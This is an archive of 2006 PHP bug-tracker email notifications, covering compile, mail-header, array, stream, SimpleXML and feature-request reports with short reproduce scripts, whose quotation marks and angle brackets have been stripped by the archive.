 ID:   37058
 Updated by:   [EMAIL PROTECTED]
 Reported By:  gquiring at gmail dot com
-Status:   Closed
+Status:   Bogus
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.1.3RC3


Previous Comments:


[2006-04-13 17:47:45] gquiring at gmail dot com

I took the stock configure options from a Red Hat server preinstalled
with PHP.  I *assumed* that would be a good way to compile PHP on
Solaris.  This problem has been seen many times with no answer in the
Informix groups.  So now we have the answer.



[2006-04-13 17:37:18] [EMAIL PROTECTED]

Do NOT use configure options that you don't know what they are used
for! There is no bug here. 



[2006-04-13 17:19:17] gquiring at gmail dot com

This is what makes it fail:

--enable-versioning



[2006-04-13 14:07:26] [EMAIL PROTECTED]

Ok, could you please remove the options one by one and see which
specific option affects it?
--enable-pic looks like a good candidate to me.



[2006-04-13 13:58:10] gquiring at gmail dot com

I went very simple:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs'
'--with-config-file-path=/etc'

If you think you know what options might cause it let me know I don't
mind compiling a few times to narrow down which option makes it fail.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37058

-- 
Edit this bug report at http://bugs.php.net/?id=37058edit=1


#37073 [Opn]: From: Header not being parsed correctly in generation of Return-Path header

2006-04-13 Thread junkmail-trash at cowsgo dot mu
 ID:   37073
 User updated by:  junkmail-trash at cowsgo dot mu
 Reported By:  junkmail-trash at cowsgo dot mu
 Status:   Open
 Bug Type: Mail related
 Operating System: Windows XP / Apache
 PHP Version:  5.1.2
 New Comment:

$header (line 3) in the example code should read:

$header = From: \Joe Bob\ [EMAIL PROTECTED]\r\n;

to match the output


Previous Comments:


[2006-04-13 18:32:10] junkmail-trash at cowsgo dot mu

Description:

When using PHP's mail function on Windows, the Return-Path: header is
generated by PHP automatically.  The value for the header is derived
from the From: header supplied by the user.

The problem is that if there is a name in the From: header, such as:

From: Joe Bob [EMAIL PROTECTED]

PHP will mangle the Return-Path: header as:

Return-Path: Joe Bob joe@bob.com

Some MTAs will then reject the entire email for having an invalid
Return-Path header.

To observe this, you need to sniff the SMTP connection using a tool
like tcpflow, or view the message source if it is delivered correctly. 
The From: header displayed by your mail client is not an indicator of
the Return-Path: header.

Please reference http://cr.yp.to/immhf/envelope.html for a nice
human-readable interpetation of the relevant RFCs.

Reproduce code:
---
ini_set('SMTP', 'youremailserver.com');
ini_set('smtp_port', '25');

$header = From: \Some Guy\ [EMAIL PROTECTED]\r\n;
mail([EMAIL PROTECTED],Test Subject, Test Message, $header);

Expected result:

(Using Thunderbird's View Source option)

From - Thu Apr 13 11:26:12 2006
X-Mozilla-Status: 0001
X-Mozilla-Status2: 
Return-Path: [EMAIL PROTECTED]
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 29537 invoked from network); 13 Apr 2006 18:26:14
-
Received: from localhost (HELO foo) (127.0.0.1)
  by somesite.com with SMTP; 13 Apr 2006 18:26:14 -
Date: Thu, 13 Apr 2006 11:26:04 -0700
Subject: Test Subject
To: [EMAIL PROTECTED]
From: Joe Bob [EMAIL PROTECTED]

Test Message

Actual result:
--
(Using Thunderbird's View Source option)

From - Thu Apr 13 11:26:12 2006
X-Mozilla-Status: 0001
X-Mozilla-Status2: 
Return-Path: Joe Bob joe@bob.com
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 29537 invoked from network); 13 Apr 2006 18:26:14
-
Received: from localhost (HELO foo) (127.0.0.1)
  by somesite.com with SMTP; 13 Apr 2006 18:26:14 -
Date: Thu, 13 Apr 2006 11:26:04 -0700
Subject: Test Subject
To: [EMAIL PROTECTED]
From: Joe Bob [EMAIL PROTECTED]

Test Message





-- 
Edit this bug report at http://bugs.php.net/?id=37073edit=1


#37073 [NEW]: From: Header not being parsed correctly in generation of Return-Path header

2006-04-13 Thread junkmail-trash at cowsgo dot mu
From: junkmail-trash at cowsgo dot mu
Operating system: Windows XP / Apache 
PHP version:  5.1.2
PHP Bug Type: Mail related
Bug description:  From: Header not being parsed correctly in generation of 
Return-Path header

Description:

When using PHP's mail function on Windows, the Return-Path: header is
generated by PHP automatically.  The value for the header is derived from
the From: header supplied by the user.

The problem is that if there is a name in the From: header, such as:

From: Joe Bob [EMAIL PROTECTED]

PHP will mangle the Return-Path: header as:

Return-Path: Joe Bob joe@bob.com

Some MTAs will then reject the entire email for having an invalid
Return-Path header.

To observe this, you need to sniff the SMTP connection using a tool like
tcpflow, or view the message source if it is delivered correctly.  The
From: header displayed by your mail client is not an indicator of the
Return-Path: header.

Please reference http://cr.yp.to/immhf/envelope.html for a nice
human-readable interpetation of the relevant RFCs.

Reproduce code:
---
ini_set('SMTP', 'youremailserver.com');
ini_set('smtp_port', '25');

$header = From: \Some Guy\ [EMAIL PROTECTED]\r\n;
mail([EMAIL PROTECTED],Test Subject, Test Message, $header);

Expected result:

(Using Thunderbird's View Source option)

From - Thu Apr 13 11:26:12 2006
X-Mozilla-Status: 0001
X-Mozilla-Status2: 
Return-Path: [EMAIL PROTECTED]
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 29537 invoked from network); 13 Apr 2006 18:26:14 -
Received: from localhost (HELO foo) (127.0.0.1)
  by somesite.com with SMTP; 13 Apr 2006 18:26:14 -
Date: Thu, 13 Apr 2006 11:26:04 -0700
Subject: Test Subject
To: [EMAIL PROTECTED]
From: Joe Bob [EMAIL PROTECTED]

Test Message

Actual result:
--
(Using Thunderbird's View Source option)

From - Thu Apr 13 11:26:12 2006
X-Mozilla-Status: 0001
X-Mozilla-Status2: 
Return-Path: Joe Bob joe@bob.com
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 29537 invoked from network); 13 Apr 2006 18:26:14 -
Received: from localhost (HELO foo) (127.0.0.1)
  by somesite.com with SMTP; 13 Apr 2006 18:26:14 -
Date: Thu, 13 Apr 2006 11:26:04 -0700
Subject: Test Subject
To: [EMAIL PROTECTED]
From: Joe Bob [EMAIL PROTECTED]

Test Message

-- 
Edit bug report at http://bugs.php.net/?id=37073edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37073r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37073r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37073r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37073r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37073r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37073r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37073r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37073r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37073r=support
Expected behavior:http://bugs.php.net/fix.php?id=37073r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37073r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37073r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37073r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37073r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37073r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37073r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37073r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37073r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37073r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37073r=mysqlcfg


#36975 [Com]: natcasesort() causes array_pop() to misbehave

2006-04-13 Thread crescentfreshpot at yahoo dot com
 ID:   36975
 Comment by:   crescentfreshpot at yahoo dot com
 Reported By:  ateixeira at gmail dot com
 Status:   Open
 Bug Type: Arrays related
 Operating System: *
 PHP Version:  5.1.2
 New Comment:

sort re-indexes it's input. natcasesort/asort/arsort etc do not.


Previous Comments:


[2006-04-13 16:45:54] ateixeira at gmail dot com

At first I thought array_pop was the problem as well.  However, I only
experienced this error when using 'natcasesort'.  If I changed to using
'sort' instead, the error went away.  In both natcasesort and sort, the
array's indices should be out of order due to the sorting, but
natcasesort is the only one to give me an error.  It's strange, though,
since when I run your test, I also get an error, proving your array_pop
issue.  So, that probably points to it being related to array_pop and
not natcasesort, but that still doesn't explain why 'sort' will work,
but not 'natcasesort'.



[2006-04-13 14:50:19] crescentfreshpot at yahoo dot com

This seems like an array_pop() bug to me.

This behaviour happens when array indices are 'out of order' and you
then use array_pop(). Any subsequent 'pushing' onto the end of the
array fails.

Using either the empty-square-bracket syntax or array_push() will both
fail. Square-bracket syntax issues the warning, array_push() does not.


Re: pushing new values onto the end of an array, the docs state: the
maximum of the existing integer indices is taken, and the new key will
be that maximum value + 1

It seems the engine cannot generate the next index after array_pop()
does it's thing.


Smaller reproduce code:
?php
error_reporting(E_ALL);
$list = array(1 = 'foo', 0 = 'baz');
array_pop($list);
$list[] = 'bar'; // - fails, issues warning
array_push($list, 'bar'); // - fails, no warning
print_r($list);
?


Expected Result
---
Array
(
[1] = foo
[2] = bar
[3] = bar
)


Actual Result
-
Warning: Cannot add element to the array as the next element is already
occupied in C:\Dev\webserver_root\t.php on line 5
Array
(
[1] = foo
)



[2006-04-04 21:06:37] ateixeira at gmail dot com

Description:

After using natcasesort, using the array_pop and array_push (or arr[] =
$value construct) in conjunction cause the following error (on
array_push):

Warning:  Cannot add element to the array as the next element is
already occupied in x.php on Line xx

Also, the value doesn't get pushed onto the array.

Reproduce code:
---
$fileList = array('aa', 'aa', 'bb', 'bb', 'cc', 'cc'); 

$test = natcasesort($fileList);

   

if ($test) {   

  echo natcasesort success!\n;   

}  

   

$val = array_pop($fileList);   

$fileList[] = $val;

   

print_r($fileList);


Expected result:

natcasesort success!
Array
(
[0] = aa
[1] = aa
[2] = bb
[3] = bb
[4] = cc
[5] = cc
)


Actual result:
--
natcasesort success!
PHP Warning:  Cannot add element to the array as the next element is
already occupied in /webroot/root/projects/RPMfe/j.php on line 10

Warning: Cannot add element to the array as the next element is already
occupied in /webroot/root/projects/RPMfe/j.php on line 10
Array
(
[0] = aa
[1] = aa
[3] = bb
[2] = bb
[5] = cc
)





-- 
Edit this bug report at http://bugs.php.net/?id=36975edit=1


#37064 [Fbk-Opn]: mod_ext_filter causes a filtered php page to hang with calls to eval()

2006-04-13 Thread jason at merchant dot to
 ID:   37064
 User updated by:  jason at merchant dot to
 Reported By:  jason at merchant dot to
-Status:   Feedback
+Status:   Open
 Bug Type: Apache2 related
 Operating System: Windows XP
 PHP Version:  5.1.2
 New Comment:

The link you gave me for the win32 debug packs is broken on
http://snaps.php.net/

It is giving php warnings for all the win32 packages.


Previous Comments:


[2006-04-13 10:29:36] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32

Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.





[2006-04-13 03:51:37] jason at merchant dot to

Description:

I am using Apache2's mod_ext_filter to modify the output filtering of
html and php pages. It works fine on html pages. On php pages with to
many calls to eval(), the filter will cause it to hang until the script
times out. Within the 30 second timeout my filter was only able to
return the first line unmodified.

Reproduce code:
---
//httpd.conf directives*/

ExtFilterDefine myfilter mode=output intype=text/html
cmd=C:/php/php.exe C:/myfilter.php

SetOutputFilter myfilter
/

//***  C:/myfilter.php(The filter called by php.exe) **/

?php
$fp = fopen(php://stdin, r);
while (!feof($fp)) {
   echo fgets($fp);  
}
fclose($fp);
?
/

//  the php page that will be filtered ***/
// This script was copied from a previous bug report with a similar
issue in php3 here: http://bugs.php.net/bug.php?id=3744

?php
   $b = ;
   for ($i = 1; $i  1; $i++)
   $b .= b;
echo b: $b\n;

   for ($i = 1; $i  1; $i++)
   {
echo i: $i\n; flush();
   eval(\$a = '$b';);
   }
?
/

Expected result:

when run with the filter turned off I get the expected echoed
information.

Actual result:
--
The script hangs until it reaches the maximum execution time.





-- 
Edit this bug report at http://bugs.php.net/?id=37064edit=1


#37074 [NEW]: pclose returns -1 (some times)

2006-04-13 Thread mauroi at digbang dot com
From: mauroi at digbang dot com
Operating system: CentOS release 4.2
PHP version:  5.1.2
PHP Bug Type: Unknown/Other Function
Bug description:  pclose returns -1 (some times)

Description:

With the following script (in CLI), sometimes I get -1 and sometimes 0.
The report it's very similar to #8992, but with proc_close.
With out withoud --enable-sigchild.

Thanks in advance.

Reproduce code:
---
?
$cmd = ls;
if ($process = popen($command, 'r'))
{
$output = stream_get_contents($process);
$returnCode = pclose($process);
}
echo $returnCode . \n;
?

Expected result:

0

Actual result:
--
-1

-- 
Edit bug report at http://bugs.php.net/?id=37074edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37074r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37074r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37074r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37074r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37074r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37074r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37074r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37074r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37074r=support
Expected behavior:http://bugs.php.net/fix.php?id=37074r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37074r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37074r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37074r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37074r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37074r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37074r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37074r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37074r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37074r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37074r=mysqlcfg


#37074 [Opn]: pclose returns -1 (some times)

2006-04-13 Thread mauroi at digbang dot com
 ID:   37074
 User updated by:  mauroi at digbang dot com
 Reported By:  mauroi at digbang dot com
 Status:   Open
 Bug Type: Unknown/Other Function
 Operating System: CentOS release 4.2
 PHP Version:  5.1.2
 New Comment:

Forgot to mention.
I doesn't happen in Windows.


Previous Comments:


[2006-04-13 19:26:59] mauroi at digbang dot com

Description:

With the following script (in CLI), sometimes I get -1 and sometimes 0.
The report it's very similar to #8992, but with proc_close.
With out withoud --enable-sigchild.

Thanks in advance.

Reproduce code:
---
?
$cmd = ls;
if ($process = popen($command, 'r'))
{
$output = stream_get_contents($process);
$returnCode = pclose($process);
}
echo $returnCode . \n;
?

Expected result:

0

Actual result:
--
-1





-- 
Edit this bug report at http://bugs.php.net/?id=37074edit=1


#37074 [Opn-Fbk]: pclose returns -1 (some times)

2006-04-13 Thread tony2001
 ID:   37074
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mauroi at digbang dot com
-Status:   Open
+Status:   Feedback
 Bug Type: Unknown/Other Function
 Operating System: CentOS release 4.2
 PHP Version:  5.1.2
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip




Previous Comments:


[2006-04-13 19:28:29] mauroi at digbang dot com

Forgot to mention.
I doesn't happen in Windows.



[2006-04-13 19:26:59] mauroi at digbang dot com

Description:

With the following script (in CLI), sometimes I get -1 and sometimes 0.
The report it's very similar to #8992, but with proc_close.
With out withoud --enable-sigchild.

Thanks in advance.

Reproduce code:
---
?
$cmd = ls;
if ($process = popen($command, 'r'))
{
$output = stream_get_contents($process);
$returnCode = pclose($process);
}
echo $returnCode . \n;
?

Expected result:

0

Actual result:
--
-1





-- 
Edit this bug report at http://bugs.php.net/?id=37074edit=1


#37076 [NEW]: SimpleXML ignores .=

2006-04-13 Thread [EMAIL PROTECTED]
From: [EMAIL PROTECTED]
Operating system: FreeBSD
PHP version:  5CVS-2006-04-14 (CVS)
PHP Bug Type: SimpleXML related
Bug description:  SimpleXML ignores .=

Description:

Simplexml doesn't respect .=

Reproduce code:
---
?php
$xml = simplexml_load_string(rootfoo //root);
$xml-foo = foo;
$xml-foo .= bar;
print $xml-asXML();

Expected result:

?xml version=1.0?
rootfoofoobar/foo/root

Actual result:
--
?xml version=1.0?
rootfoofoo/foo/root

-- 
Edit bug report at http://bugs.php.net/?id=37076edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37076r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37076r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37076r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37076r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37076r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37076r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37076r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37076r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37076r=support
Expected behavior:http://bugs.php.net/fix.php?id=37076r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37076r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37076r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37076r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37076r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37076r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37076r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37076r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37076r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37076r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37076r=mysqlcfg


#37077 [NEW]: stream_socket_server() memory leaks when the port is not allowed

2006-04-13 Thread sqchen at cititz dot net
From: sqchen at cititz dot net
Operating system: redhat 7.3
PHP version:  5.1.2
PHP Bug Type: Streams related
Bug description:  stream_socket_server() memory leaks when the port is not 
allowed

Description:

stream_socket_server() memory leaks when the port is not allowed such as
23 and when the php version is compiled by --enable-debug

Reproduce code:
---
?php
stream_socket_server(tcp://127.0.0.1:23);
?
~


Actual result:
--
Warning: stream_socket_server(): unable to connect to tcp://127.0.0.1:23
(Permission denied) in /home/sqchen/ty.php on line 2
[Fri Apr 14 11:02:28 2006]  Script:  'ty.php'
/home/sqchen/sqchen/php-5.1.2/main/network.c(938) :  Freeing 0x083F2E2C
(18 bytes), script=ty.php
=== Total 1 memory leaks detected ===


-- 
Edit bug report at http://bugs.php.net/?id=37077edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37077r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37077r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37077r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37077r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37077r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37077r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37077r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37077r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37077r=support
Expected behavior:http://bugs.php.net/fix.php?id=37077r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37077r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37077r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37077r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37077r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37077r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37077r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37077r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37077r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37077r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37077r=mysqlcfg


#37078 [NEW]: Add rename_function to main package

2006-04-13 Thread vladimir dot kulev at gmail dot com
From: vladimir dot kulev at gmail dot com
Operating system: Gentoo/Linux
PHP version:  5.1.2
PHP Bug Type: Feature/Change Request
Bug description:  Add rename_function to main package

Description:

Please move rename_function (and possibly override_function too) from APD
PECL package to main distribution, because this function guarantees more
extensibility and simply must be.

For example, you can include two php modules, where are two functions with
same names. Using rename_function modules can dynamically choose unique
names for functions and register them somewhere.


-- 
Edit bug report at http://bugs.php.net/?id=37078edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37078r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37078r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37078r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37078r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37078r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37078r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37078r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37078r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37078r=support
Expected behavior:http://bugs.php.net/fix.php?id=37078r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37078r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37078r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37078r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37078r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37078r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37078r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37078r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37078r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37078r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37078r=mysqlcfg


#37078 [Opn]: Add rename_function to main package

2006-04-13 Thread vladimir dot kulev at gmail dot com
 ID:   37078
 User updated by:  vladimir dot kulev at gmail dot com
 Reported By:  vladimir dot kulev at gmail dot com
 Status:   Open
 Bug Type: Feature/Change Request
 Operating System: Gentoo/Linux
 PHP Version:  5.1.2
 New Comment:

Also it would be most useful if you add functions for renaming classes,
because this will make possible to use them as namespaces for everything
else ( methods, variables, constants ).


Previous Comments:


[2006-04-14 03:07:22] vladimir dot kulev at gmail dot com

Description:

Please move rename_function (and possibly override_function too) from
APD PECL package to main distribution, because this function guarantees
more extensibility and simply must be.

For example, you can include two php modules, where are two functions
with same names. Using rename_function modules can dynamically choose
unique names for functions and register them somewhere.






-- 
Edit this bug report at http://bugs.php.net/?id=37078edit=1